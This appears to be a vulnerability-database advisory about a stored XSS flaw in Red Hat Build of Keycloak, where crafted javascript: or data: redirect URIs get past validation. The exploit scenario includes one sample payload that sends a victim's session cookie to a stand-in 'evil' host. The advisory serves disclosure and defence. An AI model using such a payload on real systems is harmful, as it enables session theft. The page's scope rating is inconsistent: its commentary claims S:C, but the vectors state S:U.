EUVD-2026-39473
GHSA-37j9-56gh-j2r7
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Network XSS needs prior client-management privilege (PR:L) and a victim click (UI:R); script runs in the Keycloak origin affecting other sessions, so I assess S:C with high confidentiality/integrity impact and no availability effect.
Primary rating from Vendor (redhat).
CVSS VectorVendor: redhat
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Lifecycle Timeline
1DescriptionCVE.org
A flaw was found in Keycloak. A remote attacker with administrative privileges, specifically those with manage-client permission or access to client registration endpoints, could bypass client Uniform Resource Identifier (URI) validation. This is achieved by registering a malicious client with a specially crafted redirect URI using a case-insensitive javascript: or data: scheme. This Cross-Site Scripting (XSS) vulnerability allows for arbitrary code execution in the Keycloak origin when a victim clicks the crafted link, such as in the logout flow or the Admin Console.
AnalysisAI
Stored Cross-Site Scripting in Red Hat Build of Keycloak lets an authenticated administrator with manage-client permission (or access to client registration endpoints) register a malicious client whose redirect URI uses a case-insensitive javascript: or data: scheme, bypassing URI validation. When a victim later clicks a crafted link - for example during the logout flow or within the Admin Console - the script executes in the Keycloak origin, enabling session/token theft and effective code execution in that trusted context. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an attacker who already holds administrative-level access to client management - specifically the `manage-client` permission or reachable client registration endpoints - to register or modify a client with a crafted redirect URI using a case-insensitive `javascript:` or `data:` scheme. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are moderately concordant rather than alarming. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An administrator (or attacker who has compromised an account holding `manage-client` permission) registers a new OIDC client and sets a redirect URI such as `JavaScript:fetch('//evil/'+document.cookie)`, which evades the case-sensitive scheme filter. The attacker then lures a logged-in Keycloak admin or user into clicking a logout or Admin Console link tied to that client; the script runs in the Keycloak origin and exfiltrates the victim's session token, granting the attacker control of that session. … |
| Remediation | No vendor-released patch version is identified in the provided data, so confirm and apply the fixed Red Hat Build of Keycloak release referenced in the Red Hat advisory (https://access.redhat.com/security/cve/CVE-2026-9086) and Bugzilla 2480170 (https://bugzilla.redhat.com/show_bug.cgi?id=2480170) as soon as it is published - these are the authoritative sources for the exact version. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all Keycloak client registrations (especially recent additions) for suspicious redirect URIs containing javascript: or data: schemes; review administrative access logs for client registration activities. …
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